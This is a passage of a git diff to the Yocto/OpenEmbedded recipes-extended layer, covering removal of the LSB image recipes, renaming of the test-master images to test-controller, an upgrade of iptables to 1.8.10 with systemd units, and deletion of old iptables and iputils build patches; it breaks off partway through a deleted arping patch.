--- a/meta/recipes-extended/images/core-image-lsb-dev.bb
+++ /dev/null
@@ -1,7 +0,0 @@
-require core-image-lsb.bb
-
-DESCRIPTION = "Basic image without X support suitable for development work. It \
-can be used for customization and implementations that conform to Linux \
-Standard Base (LSB)."
-
-IMAGE_FEATURES += "dev-pkgs"
diff --git a/meta/recipes-extended/images/core-image-lsb-sdk.bb b/meta/recipes-extended/images/core-image-lsb-sdk.bb
deleted file mode 100644
index a3d602edd6..0000000000
--- a/meta/recipes-extended/images/core-image-lsb-sdk.bb
+++ /dev/null
@@ -1,12 +0,0 @@
-require core-image-lsb.bb
-
-DESCRIPTION = "Basic image without X support suitable for Linux Standard Base \
-(LSB) implementations. It includes the full meta-toolchain, plus development \
-headers and libraries to form a standalone SDK."
-
-IMAGE_FEATURES += "tools-sdk dev-pkgs tools-debug eclipse-debug tools-profile tools-testapps debug-tweaks"
-
-IMAGE_INSTALL += "kernel-devsrc"
-
-# Reduce this to try and keep below the 4GB image size for now
-IMAGE_OVERHEAD_FACTOR = "1.2"
diff --git a/meta/recipes-extended/images/core-image-lsb.bb b/meta/recipes-extended/images/core-image-lsb.bb
deleted file mode 100644
index ab61c6e6df..0000000000
--- a/meta/recipes-extended/images/core-image-lsb.bb
+++ /dev/null
@@ -1,14 +0,0 @@
-DESCRIPTION = "An image containing packages that are required to conform \
-to the Linux Standard Base (LSB) specification."
-
-IMAGE_FEATURES += "splash ssh-server-openssh hwcodecs package-management"
-
-IMAGE_INSTALL = "\
- ${CORE_IMAGE_BASE_INSTALL} \
- packagegroup-core-full-cmdline \
- packagegroup-core-lsb \
- "
-
-inherit core-image distro_features_check
-
-REQUIRED_DISTRO_FEATURES = "pam"
diff --git a/meta/recipes-extended/images/core-image-testmaster-initramfs.bb b/meta/recipes-extended/images/core-image-testcontroller-initramfs.bb
index 09a6d16042..3b81afd7c0 100644
--- a/meta/recipes-extended/images/core-image-testmaster-initramfs.bb
+++ b/meta/recipes-extended/images/core-image-testcontroller-initramfs.bb
@@ -1,4 +1,4 @@
-DESCRIPTION = "Small image capable of booting a device with custom install scripts, \
+SUMMARY = "Small image capable of booting a device with custom install scripts, \
adding a second rootfs, used for testing."
# use -testfs live-install scripts
@@ -7,7 +7,7 @@ PACKAGE_INSTALL = "initramfs-live-boot initramfs-live-install-testfs initramfs-l
# Do not pollute the initrd image with rootfs features
IMAGE_FEATURES = ""
-export IMAGE_BASENAME = "core-image-testmaster-initramfs"
+IMAGE_NAME_SUFFIX ?= ""
IMAGE_LINGUAS = ""
LICENSE = "MIT"
diff --git a/meta/recipes-extended/images/core-image-testmaster.bb b/meta/recipes-extended/images/core-image-testcontroller.bb
index 78295c5f0a..ff79bde0c5 100644
--- a/meta/recipes-extended/images/core-image-testmaster.bb
+++ b/meta/recipes-extended/images/core-image-testcontroller.bb
@@ -1,4 +1,4 @@
-DESCRIPTION = "A master image to be deployed on a target useful for testing other images"
+SUMMARY = "A test controller image to be deployed on a target useful for testing other images using the OEQA runtime tests"
IMAGE_FEATURES += "ssh-server-openssh package-management"
@@ -8,11 +8,11 @@ inherit core-image
# normal linux utilities not busybox ones
IMAGE_INSTALL += "\
bash coreutils util-linux tar gzip bzip2 kmod \
- python-modules python-misc \
+ python3-modules python3-misc \
e2fsprogs e2fsprogs-mke2fs parted \
"
# we need a particular initramfs for live images
# that pulls custom install scripts which take
# care of partitioning for us
-INITRD_IMAGE = "core-image-testmaster-initramfs"
+INITRD_IMAGE = "core-image-testcontroller-initramfs"
diff --git a/meta/recipes-extended/iptables/iptables/0001-configure-Add-option-to-enable-disable-libnfnetlink.patch b/meta/recipes-extended/iptables/iptables/0001-configure-Add-option-to-enable-disable-libnfnetlink.patch
index 03c36ccbc2..8824bf2af7 100644
--- a/meta/recipes-extended/iptables/iptables/0001-configure-Add-option-to-enable-disable-libnfnetlink.patch
+++ b/meta/recipes-extended/iptables/iptables/0001-configure-Add-option-to-enable-disable-libnfnetlink.patch
@@ -1,4 +1,4 @@
-From c46db7c2e1f63ec525835553587e70c635565310 Mon Sep 17 00:00:00 2001
+From 0096c854d5015918ed154dccb3ad472fd06c1010 Mon Sep 17 00:00:00 2001
From: "Maxin B. John" <maxin.john@intel.com>
Date: Tue, 21 Feb 2017 11:16:31 +0200
Subject: [PATCH] configure: Add option to enable/disable libnfnetlink
@@ -10,12 +10,13 @@ Upstream-Status: Pending
Signed-off-by: Khem Raj <raj.khem@gmail.com>
Signed-off-by: Maxin B. John <maxin.john@intel.com>
+
---
configure.ac | 10 +++++++---
1 file changed, 7 insertions(+), 3 deletions(-)
diff --git a/configure.ac b/configure.ac
-index eda7871..03ddc50 100644
+index d99fa3b..d607772 100644
--- a/configure.ac
+++ b/configure.ac
@@ -63,6 +63,9 @@ AC_ARG_WITH([pkgconfigdir], AS_HELP_STRING([--with-pkgconfigdir=PATH],
@@ -28,9 +29,9 @@ index eda7871..03ddc50 100644
AC_ARG_ENABLE([connlabel],
AS_HELP_STRING([--disable-connlabel],
[Do not build libnetfilter_conntrack]),
-@@ -115,9 +118,10 @@ if test "x$enable_bpfc" = "xyes" || test "x$enable_nfsynproxy" = "xyes"; then
- AC_CHECK_LIB(pcap, pcap_compile,, AC_MSG_ERROR(missing libpcap library required by bpf compiler or nfsynproxy tool))
- fi
+@@ -113,9 +116,10 @@ AM_CONDITIONAL([ENABLE_SYNCONF], [test "$enable_nfsynproxy" = "yes"])
+ AM_CONDITIONAL([ENABLE_NFTABLES], [test "$enable_nftables" = "yes"])
+ AM_CONDITIONAL([ENABLE_CONNLABEL], [test "$enable_connlabel" = "yes"])
-PKG_CHECK_MODULES([libnfnetlink], [libnfnetlink >= 1.0],
- [nfnetlink=1], [nfnetlink=0])
@@ -40,8 +41,5 @@ index eda7871..03ddc50 100644
+ ])
+AM_CONDITIONAL([HAVE_LIBNFNETLINK], [test "x$enable_libnfnetlink" = "xyes"])
- if test "x$enable_nftables" = "xyes"; then
- PKG_CHECK_MODULES([libmnl], [libmnl >= 1.0], [mnl=1], [mnl=0])
---
-2.4.0
-
+ if test "x$enable_bpfc" = "xyes" || test "x$enable_nfsynproxy" = "xyes"; then
+ PKG_CHECK_MODULES([libpcap], [libpcap], [], [
diff --git a/meta/recipes-extended/iptables/iptables/0001-fix-build-with-musl.patch b/meta/recipes-extended/iptables/iptables/0001-fix-build-with-musl.patch
deleted file mode 100644
index f1f85a6fa0..0000000000
--- a/meta/recipes-extended/iptables/iptables/0001-fix-build-with-musl.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-[PATCH] fix build with musl
-
-Define additional TCOPTS if not there
-u_initX types are in sys/types.h be explicit about it
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Maxin B. John <maxin.john@intel.com>
----
-diff -Naur iptables-1.6.0-origin/extensions/libxt_TCPOPTSTRIP.c iptables-1.6.0/extensions/libxt_TCPOPTSTRIP.c
---- iptables-1.6.0-origin/extensions/libxt_TCPOPTSTRIP.c 2015-12-09 14:55:06.000000000 +0200
-+++ iptables-1.6.0/extensions/libxt_TCPOPTSTRIP.c 2015-12-29 14:44:32.585327077 +0200
-@@ -12,6 +12,21 @@
- #ifndef TCPOPT_MD5SIG
- # define TCPOPT_MD5SIG 19
- #endif
-+#ifndef TCPOPT_MAXSEG
-+#define TCPOPT_MAXSEG 2
-+#endif
-+#ifndef TCPOPT_WINDOW
-+#define TCPOPT_WINDOW 3
-+#endif
-+#ifndef TCPOPT_SACK_PERMITTED
-+#define TCPOPT_SACK_PERMITTED 4
-+#endif
-+#ifndef TCPOPT_SACK
-+#define TCPOPT_SACK 5
-+#endif
-+#ifndef TCPOPT_TIMESTAMP
-+#define TCPOPT_TIMESTAMP 8
-+#endif
-
- enum {
- O_STRIP_OPTION = 0,
-diff -Naur iptables-1.6.0-origin/include/linux/netfilter_ipv4/ip_tables.h iptables-1.6.0/include/linux/netfilter_ipv4/ip_tables.h
---- iptables-1.6.0-origin/include/linux/netfilter_ipv4/ip_tables.h 2015-12-09 14:55:06.000000000 +0200
-+++ iptables-1.6.0/include/linux/netfilter_ipv4/ip_tables.h 2015-12-29 14:40:21.250469195 +0200
-@@ -15,6 +15,7 @@
- #ifndef _IPTABLES_H
- #define _IPTABLES_H
-
-+#include <sys/types.h>
- #include <linux/types.h>
-
- #include <linux/netfilter_ipv4.h>
diff --git a/meta/recipes-extended/iptables/iptables/0002-iptables-xshared.h-add-missing-sys.types.h-include.patch b/meta/recipes-extended/iptables/iptables/0002-iptables-xshared.h-add-missing-sys.types.h-include.patch
new file mode 100644
index 0000000000..a190c7e8ae
--- /dev/null
+++ b/meta/recipes-extended/iptables/iptables/0002-iptables-xshared.h-add-missing-sys.types.h-include.patch
@@ -0,0 +1,31 @@
+From 465e3ef77f1763d225adc76220e43ee9bd73b178 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Tue, 17 May 2022 10:56:59 +0200
+Subject: [PATCH] iptables/xshared.h: add missing sys.types.h include
+
+This resolves the build error under musl:
+
+| ../../../../../../../workspace/sources/iptables/iptables/xshared.h:83:56: error: unknown type name 'u_int16_t'; did you mean 'uint16_t'?
+| 83 | set_option(unsigned int *options, unsigned int option, u_int16_t *invflg,
+| | ^~~~~~~~~
+| | uint16_t
+
+Upstream-Status: Submitted [via email to phil@nwl.cc]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+
+---
+ iptables/xshared.h | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/iptables/xshared.h b/iptables/xshared.h
+index a200e0d..f543dbf 100644
+--- a/iptables/xshared.h
++++ b/iptables/xshared.h
+@@ -6,6 +6,7 @@
+ #include <stdint.h>
+ #include <netinet/in.h>
+ #include <net/if.h>
++#include <sys/types.h>
+ #include <linux/netfilter_arp/arp_tables.h>
+ #include <linux/netfilter_ipv4/ip_tables.h>
+ #include <linux/netfilter_ipv6/ip6_tables.h>
diff --git a/meta/recipes-extended/iptables/iptables/0002-configure.ac-only-check-conntrack-when-libnfnetlink-enabled.patch b/meta/recipes-extended/iptables/iptables/0004-configure.ac-only-check-conntrack-when-libnfnetlink-.patch
index 7842c6408a..5a022ebc8c 100644
--- a/meta/recipes-extended/iptables/iptables/0002-configure.ac-only-check-conntrack-when-libnfnetlink-enabled.patch
+++ b/meta/recipes-extended/iptables/iptables/0004-configure.ac-only-check-conntrack-when-libnfnetlink-.patch
@@ -1,4 +1,4 @@
-From 26090b3dbcdf6a11e60535da949b726a6e86426d Mon Sep 17 00:00:00 2001
+From 6832501bbb90a3dab977a4625d0391804c0e795c Mon Sep 17 00:00:00 2001
From: "Maxin B. John" <maxin.john@intel.com>
Date: Tue, 21 Feb 2017 11:49:07 +0200
Subject: [PATCH] configure.ac:
@@ -23,15 +23,16 @@ Upstream-Status: Pending
Signed-off-by: Kai Kang <kai.kang@windriver.com>
Signed-off-by: Maxin B. John <maxin.john@intel.com>
+
---
configure.ac | 6 ++++--
1 file changed, 4 insertions(+), 2 deletions(-)
diff --git a/configure.ac b/configure.ac
-index 03ddc50..523caea 100644
+index d607772..25a8e75 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -172,10 +172,12 @@ if test "$nftables" != 1; then
+@@ -159,10 +159,12 @@ if test "$nftables" != 1; then
fi
if test "x$enable_connlabel" = "xyes"; then
@@ -46,6 +47,3 @@ index 03ddc50..523caea 100644
if test "$nfconntrack" -ne 1; then
blacklist_modules="$blacklist_modules connlabel";
echo "WARNING: libnetfilter_conntrack not found, connlabel match will not be built";
---
-2.4.0
-
diff --git a/meta/recipes-extended/iptables/iptables/ip6tables.rules b/meta/recipes-extended/iptables/iptables/ip6tables.rules
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/meta/recipes-extended/iptables/iptables/ip6tables.rules
diff --git a/meta/recipes-extended/iptables/iptables/ip6tables.service b/meta/recipes-extended/iptables/iptables/ip6tables.service
new file mode 100644
index 0000000000..6c059fca49
--- /dev/null
+++ b/meta/recipes-extended/iptables/iptables/ip6tables.service
@@ -0,0 +1,13 @@
+[Unit]
+Description=IPv6 Packet Filtering Framework
+Before=network-pre.target
+Wants=network-pre.target
+
+[Service]
+Type=oneshot
+ExecStart=@SBINDIR@/ip6tables-restore -w -- @RULESDIR@/ip6tables.rules
+ExecReload=@SBINDIR@/ip6tables-restore -w -- @RULESDIR@/ip6tables.rules
+RemainAfterExit=yes
+
+[Install]
+WantedBy=multi-user.target
diff --git a/meta/recipes-extended/iptables/iptables/iptables.rules b/meta/recipes-extended/iptables/iptables/iptables.rules
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/meta/recipes-extended/iptables/iptables/iptables.rules
diff --git a/meta/recipes-extended/iptables/iptables/iptables.service b/meta/recipes-extended/iptables/iptables/iptables.service
new file mode 100644
index 0000000000..0eb3c343de
--- /dev/null
+++ b/meta/recipes-extended/iptables/iptables/iptables.service
@@ -0,0 +1,13 @@
+[Unit]
+Description=IPv4 Packet Filtering Framework
+Before=network-pre.target
+Wants=network-pre.target
+
+[Service]
+Type=oneshot
+ExecStart=@SBINDIR@/iptables-restore -w -- @RULESDIR@/iptables.rules
+ExecReload=@SBINDIR@/iptables-restore -w -- @RULESDIR@/iptables.rules
+RemainAfterExit=yes
+
+[Install]
+WantedBy=multi-user.target
diff --git a/meta/recipes-extended/iptables/iptables/types.h-add-defines-that-are-required-for-if_packet.patch b/meta/recipes-extended/iptables/iptables/types.h-add-defines-that-are-required-for-if_packet.patch
deleted file mode 100644
index 24ee29e2d1..0000000000
--- a/meta/recipes-extended/iptables/iptables/types.h-add-defines-that-are-required-for-if_packet.patch
+++ /dev/null
@@ -1,49 +0,0 @@
-From 19593491f43b70c1a71c3b9b8f4ff4fd14500014 Mon Sep 17 00:00:00 2001
-From: Bruce Ashfield <bruce.ashfield@windriver.com>
-Date: Fri, 23 Mar 2012 14:27:20 -0400
-Subject: [PATCH] types.h: add defines that are required for if_packet.h
-
-The iptables local linux/types.h overrides the kernel/sysroot
-types.h. As such, we need to provide some defines that are required
-to build against 3.2+ kernel headers.
-
-ifndef protection is provided for the defines to ensure that
-configuration that already have these defines are still buildable.
-
-This commit is temporary until a new version of iptables can be
-used that contains the defines.
-
-This is similar to the commit in the iptables git repository:
-
- https://git.netfilter.org/cgi-bin/gitweb.cgi?p=iptables.git;a=commit;h=dbe77cc974cee656eae37e75039dd1a410a4535b
-
-Upstream-Status: Backport
-
-Signed-off-by: Bruce Ashfield <bruce.ashfield@windriver.com>
----
- include/linux/types.h | 10 ++++++++++
- 1 files changed, 10 insertions(+), 0 deletions(-)
-
-diff --git a/include/linux/types.h b/include/linux/types.h
-index 8b483c8..ebf6432 100644
---- a/include/linux/types.h
-+++ b/include/linux/types.h
-@@ -34,5 +34,15 @@ typedef __u64 __bitwise __be64;
- typedef __u16 __bitwise __sum16;
- typedef __u32 __bitwise __wsum;
-
-+#ifndef __aligned_u64
-+#define __aligned_u64 __u64 __attribute__((aligned(8)))
-+#endif
-+#ifndef __aligned_be64
-+#define __aligned_be64 __be64 __attribute__((aligned(8)))
-+#endif
-+#ifndef __aligned_le64
-+#define __aligned_le64 __le64 __attribute__((aligned(8)))
-+#endif
-+
- #endif /* __ASSEMBLY__ */
- #endif /* _LINUX_TYPES_H */
---
-1.7.0.4
-
diff --git a/meta/recipes-extended/iptables/iptables_1.6.1.bb b/meta/recipes-extended/iptables/iptables_1.6.1.bb
deleted file mode 100644
index b37c55a64e..0000000000
--- a/meta/recipes-extended/iptables/iptables_1.6.1.bb
+++ /dev/null
@@ -1,49 +0,0 @@
-SUMMARY = "Tools for managing kernel packet filtering capabilities"
-DESCRIPTION = "iptables is the userspace command line program used to configure and control network packet \
-filtering code in Linux."
-HOMEPAGE = "http://www.netfilter.org/"
-BUGTRACKER = "http://bugzilla.netfilter.org/"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263\
- file://iptables/iptables.c;beginline=13;endline=25;md5=c5cffd09974558cf27d0f763df2a12dc"
-
-RRECOMMENDS_${PN} = "kernel-module-x-tables \
- kernel-module-ip-tables \
- kernel-module-iptable-filter \
- kernel-module-iptable-nat \
- kernel-module-nf-defrag-ipv4 \
- kernel-module-nf-conntrack \
- kernel-module-nf-conntrack-ipv4 \
- kernel-module-nf-nat \
- kernel-module-ipt-masquerade"
-FILES_${PN} =+ "${libdir}/xtables/ ${datadir}/xtables"
-
-SRC_URI = "http://netfilter.org/projects/iptables/files/iptables-${PV}.tar.bz2 \
- file://types.h-add-defines-that-are-required-for-if_packet.patch \
- file://0001-configure-Add-option-to-enable-disable-libnfnetlink.patch \
- file://0002-configure.ac-only-check-conntrack-when-libnfnetlink-enabled.patch \
- file://0001-fix-build-with-musl.patch \
-"
-
-SRC_URI[md5sum] = "ab38a33806b6182c6f53d6afb4619add"
-SRC_URI[sha256sum] = "0fc2d7bd5d7be11311726466789d4c65fb4c8e096c9182b56ce97440864f0cf5"
-
-inherit autotools pkgconfig
-
-EXTRA_OECONF = "--with-kernel=${STAGING_INCDIR} \
- "
-PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
-
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-
-# libnfnetlink recipe is in meta-networking layer
-PACKAGECONFIG[libnfnetlink] = "--enable-libnfnetlink,--disable-libnfnetlink,libnfnetlink libnetfilter-conntrack"
-
-# libnftnl recipe is in meta-networking layer(previously known as libnftables)
-PACKAGECONFIG[libnftnl] = "--enable-nftables,--disable-nftables,libnftnl"
-
-do_configure_prepend() {
- # Remove some libtool m4 files
- # Keep ax_check_linker_flags.m4 which belongs to autoconf-archive.
- rm -f libtool.m4 lt~obsolete.m4 ltoptions.m4 ltsugar.m4 ltversion.m4
-}
diff --git a/meta/recipes-extended/iptables/iptables_1.8.10.bb b/meta/recipes-extended/iptables/iptables_1.8.10.bb
new file mode 100644
index 0000000000..cd2f3bce0b
--- /dev/null
+++ b/meta/recipes-extended/iptables/iptables_1.8.10.bb
@@ -0,0 +1,123 @@
+SUMMARY = "Tools for managing kernel packet filtering capabilities"
+DESCRIPTION = "iptables is the userspace command line program used to configure and control network packet \
+filtering code in Linux."
+HOMEPAGE = "http://www.netfilter.org/"
+BUGTRACKER = "http://bugzilla.netfilter.org/"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://iptables/iptables.c;beginline=13;endline=25;md5=c5cffd09974558cf27d0f763df2a12dc \
+"
+
+SRC_URI = "http://netfilter.org/projects/iptables/files/iptables-${PV}.tar.xz \
+ file://iptables.service \
+ file://iptables.rules \
+ file://ip6tables.service \
+ file://ip6tables.rules \
+ file://0001-configure-Add-option-to-enable-disable-libnfnetlink.patch \
+ file://0002-iptables-xshared.h-add-missing-sys.types.h-include.patch \
+ file://0004-configure.ac-only-check-conntrack-when-libnfnetlink-.patch \
+ "
+SRC_URI[sha256sum] = "5cc255c189356e317d070755ce9371eb63a1b783c34498fb8c30264f3cc59c9c"
+
+SYSTEMD_SERVICE:${PN} = "\
+ iptables.service \
+ ${@bb.utils.contains('PACKAGECONFIG', 'ipv6', 'ip6tables.service', '', d)} \
+"
+
+inherit autotools pkgconfig systemd
+
+EXTRA_OECONF = "--with-kernel=${STAGING_INCDIR}"
+
+CFLAGS:append:libc-musl = " -D__UAPI_DEF_ETHHDR=0"
+
+PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
+
+# libnfnetlink recipe is in meta-networking layer
+PACKAGECONFIG[libnfnetlink] = "--enable-libnfnetlink,--disable-libnfnetlink,libnfnetlink libnetfilter-conntrack"
+
+# libnftnl recipe is in meta-networking layer(previously known as libnftables)
+PACKAGECONFIG[libnftnl] = "--enable-nftables,--disable-nftables,libnftnl"
+
+do_configure:prepend() {
+ # Remove some libtool m4 files
+ # Keep ax_check_linker_flags.m4 which belongs to autoconf-archive.
+ rm -f libtool.m4 lt~obsolete.m4 ltoptions.m4 ltsugar.m4 ltversion.m4
+
+ # Copy a header to fix out of tree builds
+ cp -f ${S}/libiptc/linux_list.h ${S}/include/libiptc/
+}
+
+IPTABLES_RULES_DIR ?= "${sysconfdir}/${BPN}"
+
+do_install:append() {
+ install -d ${D}${IPTABLES_RULES_DIR}
+ install -m 0644 ${WORKDIR}/iptables.rules ${D}${IPTABLES_RULES_DIR}
+
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/iptables.service ${D}${systemd_system_unitdir}
+
+ sed -i \
+ -e 's,@SBINDIR@,${sbindir},g' \
+ -e 's,@RULESDIR@,${IPTABLES_RULES_DIR},g' \
+ ${D}${systemd_system_unitdir}/iptables.service
+
+ if ${@bb.utils.contains('PACKAGECONFIG', 'ipv6', 'true', 'false', d)} ; then
+ install -m 0644 ${WORKDIR}/ip6tables.rules ${D}${IPTABLES_RULES_DIR}
+ install -m 0644 ${WORKDIR}/ip6tables.service ${D}${systemd_system_unitdir}
+
+ sed -i \
+ -e 's,@SBINDIR@,${sbindir},g' \
+ -e 's,@RULESDIR@,${IPTABLES_RULES_DIR},g' \
+ ${D}${systemd_system_unitdir}/ip6tables.service
+ fi
+
+ # if libnftnl is included, make the iptables symlink point to the nft-based binary by default
+ if ${@bb.utils.contains('PACKAGECONFIG', 'libnftnl', 'true', 'false', d)} ; then
+ ln -sf ${sbindir}/xtables-nft-multi ${D}${sbindir}/iptables
+ fi
+}
+
+PACKAGES =+ "${PN}-modules ${PN}-apply"
+PACKAGES_DYNAMIC += "^${PN}-module-.*"
+
+python populate_packages:prepend() {
+ modules = do_split_packages(d, '${libdir}/xtables', r'lib(.*)\.so$', '${PN}-module-%s', '${PN} module %s', extra_depends='')
+ if modules:
+ metapkg = d.getVar('PN') + '-modules'
+ d.appendVar('RDEPENDS:' + metapkg, ' ' + ' '.join(modules))
+}
+
+RDEPENDS:${PN} = "${PN}-module-xt-standard"
+RRECOMMENDS:${PN} = " \
+ ${PN}-modules \
+ kernel-module-x-tables \
+ kernel-module-ip-tables \
+ kernel-module-iptable-filter \
+ kernel-module-iptable-nat \
+ kernel-module-nf-defrag-ipv4 \
+ kernel-module-nf-conntrack \
+ kernel-module-nf-conntrack-ipv4 \
+ kernel-module-nf-nat \
+ kernel-module-ipt-masquerade \
+ ${@bb.utils.contains('PACKAGECONFIG', 'ipv6', '\
+ kernel-module-ip6table-filter \
+ kernel-module-ip6-tables \
+ ', '', d)} \
+"
+
+FILES:${PN} += "${datadir}/xtables"
+
+FILES:${PN}-apply = "${sbindir}/ip*-apply"
+RDEPENDS:${PN}-apply = "${PN} bash"
+
+# Include the symlinks as well in respective packages
+FILES:${PN}-module-xt-conntrack += "${libdir}/xtables/libxt_state.so"
+FILES:${PN}-module-xt-ct += "${libdir}/xtables/libxt_NOTRACK.so ${libdir}/xtables/libxt_REDIRECT.so"
+FILES:${PN}-module-xt-nat += "${libdir}/xtables/libxt_SNAT.so ${libdir}/xtables/libxt_DNAT.so ${libdir}/xtables/libxt_MASQUERADE.so"
+
+ALLOW_EMPTY:${PN}-modules = "1"
+
+INSANE_SKIP:${PN}-module-xt-conntrack = "dev-so"
+INSANE_SKIP:${PN}-module-xt-ct = "dev-so"
+INSANE_SKIP:${PN}-module-xt-nat = "dev-so"
diff --git a/meta/recipes-extended/iputils/files/0001-Fix-header-inclusion-for-musl.patch b/meta/recipes-extended/iputils/files/0001-Fix-header-inclusion-for-musl.patch
deleted file mode 100644
index 20ef07e44a..0000000000
--- a/meta/recipes-extended/iputils/files/0001-Fix-header-inclusion-for-musl.patch
+++ /dev/null
@@ -1,92 +0,0 @@
-From be0bb81d72fea4d20da74f4f2236aa145684f332 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 6 Jan 2016 14:14:22 -0800
-Subject: [PATCH] Fix header inclusion for musl
-
-Fix errors e.g.
-
-In file included from tracepath.c:17:0:
-/usr/include/linux/errqueue.h:33:18:
-error: array type has incomplete element type 'struct timespec'
- struct timespec ts[3];
- ^
-tracepath.c: In function 'main':
-tracepath.c:329:16: error: 'INT_MAX' undeclared (first use in this
-function)
- overhead, INT_MAX);
- ^
-tracepath.c:329:16: note: each undeclared identifier is reported only
-once for each function it appears in
-Makefile:131: recipe for target 'tracepath.o' failed
-make: *** [tracepath.o] Error 1
-
-ping_common.c: In function 'main_loop':
-ping_common.c:756:15: error: 'HZ' undeclared (first use in this
-function)
- if (1000 % HZ == 0 ? next <= 1000 / HZ : (next < INT_MAX / HZ &&
-next * HZ <= 1000)) {
-
-protocols/timed.h is not needed and is absent in musl
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- clockdiff.c | 1 -
- ping_common.c | 1 +
- tracepath.c | 2 ++
- tracepath6.c | 1 +
- 4 files changed, 4 insertions(+), 1 deletion(-)
-
-diff --git a/clockdiff.c b/clockdiff.c
-index 7c1ea1b..1d6341e 100644
---- a/clockdiff.c
-+++ b/clockdiff.c
-@@ -14,7 +14,6 @@
- #include <netinet/ip.h>
- #include <netinet/ip_icmp.h>
- #define TSPTYPES
--#include <protocols/timed.h>
- #include <fcntl.h>
- #include <netdb.h>
- #include <arpa/inet.h>
-diff --git a/ping_common.c b/ping_common.c
-index 7f82851..3ce699d 100644
---- a/ping_common.c
-+++ b/ping_common.c
-@@ -2,6 +2,7 @@
- #include <ctype.h>
- #include <sched.h>
- #include <math.h>
-+#include <asm-generic/param.h>
-
- int options;
-
-diff --git a/tracepath.c b/tracepath.c
-index 89e6d16..c9d6ddd 100644
---- a/tracepath.c
-+++ b/tracepath.c
-@@ -12,6 +12,8 @@
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
-+#include <limits.h>
-+#include <time.h>
- #include <sys/socket.h>
- #include <linux/types.h>
- #include <linux/errqueue.h>
-diff --git a/tracepath6.c b/tracepath6.c
-index 126fadf..9d5745c 100644
---- a/tracepath6.c
-+++ b/tracepath6.c
-@@ -12,6 +12,7 @@
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
-+#include <limits.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <netinet/icmp6.h>
---
-2.6.4
-
diff --git a/meta/recipes-extended/iputils/files/0001-Intialize-struct-elements-by-name.patch b/meta/recipes-extended/iputils/files/0001-Intialize-struct-elements-by-name.patch
deleted file mode 100644
index 6da01dc616..0000000000
--- a/meta/recipes-extended/iputils/files/0001-Intialize-struct-elements-by-name.patch
+++ /dev/null
@@ -1,52 +0,0 @@
-From 000629f74908a2a95f6104444c77ad93cf40d62d Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 13 Jan 2016 08:50:50 +0000
-Subject: [PATCH] Intialize struct elements by name
-
-makes it portable across glibc and musl
-
-Fixes errors
-
-| ping.c: In function 'send_probe':
-| ping.c:735:19: warning: initialization makes integer from pointer
-without a cast [-Wint-conversion]
-| &iov, 1, &cmsg, 0, 0 };
-| ^
-| ping.c:735:19: note: (near initialization for 'm.__pad1')
-| ping.c:735:19: error: initializer element is not computable at load
-time
-| ping.c:735:19: note: (near initialization for 'm.__pad1')
-| make: *** [ping.o] Error 1
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- ping.c | 11 +++++++++--
- 1 file changed, 9 insertions(+), 2 deletions(-)
-
-diff --git a/ping.c b/ping.c
-index 4989760..e67f381 100644
---- a/ping.c
-+++ b/ping.c
-@@ -731,8 +731,15 @@ int send_probe()
-
- do {
- static struct iovec iov = {outpack, 0};
-- static struct msghdr m = { &whereto, sizeof(whereto),
-- &iov, 1, &cmsg, 0, 0 };
-+ static struct msghdr m = {
-+ .msg_name = &whereto,
-+ .msg_namelen = sizeof(whereto),
-+ .msg_iov = &iov,
-+ .msg_iovlen = 1,
-+ .msg_control = &cmsg,
-+ .msg_controllen = 0,
-+ .msg_flags= 0,
-+ };
- m.msg_controllen = cmsg_len;
- iov.iov_len = cc;
-
---
-2.7.0
-
diff --git a/meta/recipes-extended/iputils/files/arping-fix-arping-hang-if-SIGALRM-is-blocked.patch b/meta/recipes-extended/iputils/files/arping-fix-arping-hang-if-SIGALRM-is-blocked.patch
deleted file mode 100644
index 7b56276b39..0000000000
--- a/meta/recipes-extended/iputils/files/arping-fix-arping-hang-if-SIGALRM-is-blocked.patch
+++ /dev/null
@@ -1,44 +0,0 @@
-arping: fix arping hang if SIGALRM is blocked
-
-Unblock SIGALRM so that the previously called alarm() can prevent
-recvfrom() from blocking forever in case the inherited procmask is
-blocking SIGALRM and no packet is received.
-
-Upstream-Status: Backport
-
-Reported-by: Rui Prior <rprior@dcc.fc.up.pt>
-RH-Bugzilla: #1085971
-Signed-off-by: Jan Synacek <jsynacek@redhat.com>
-Signed-off-by: Zhenbo Gao <zhenbo.gao@windriver.com>
-
-diff --git a/arping.c.orig b/arping.c
-index 35408c1..2098159 100644
---- a/arping.c.orig
-+++ b/arping.c
-@@ -1215,16 +1215,22 @@ main(int argc, char **argv)
- socklen_t alen = sizeof(from);
- int cc;
-
-+ sigemptyset(&sset);
-+ sigaddset(&sset, SIGALRM);
-+ sigaddset(&sset, SIGINT);
-+ /* Unblock SIGALRM so that the previously called alarm()
-+ * can prevent recvfrom from blocking forever in case the
-+ * inherited procmask is blocking SIGALRM and no packet
-+ * is received. */
-+ sigprocmask(SIG_UNBLOCK, &sset, &osset);
-+
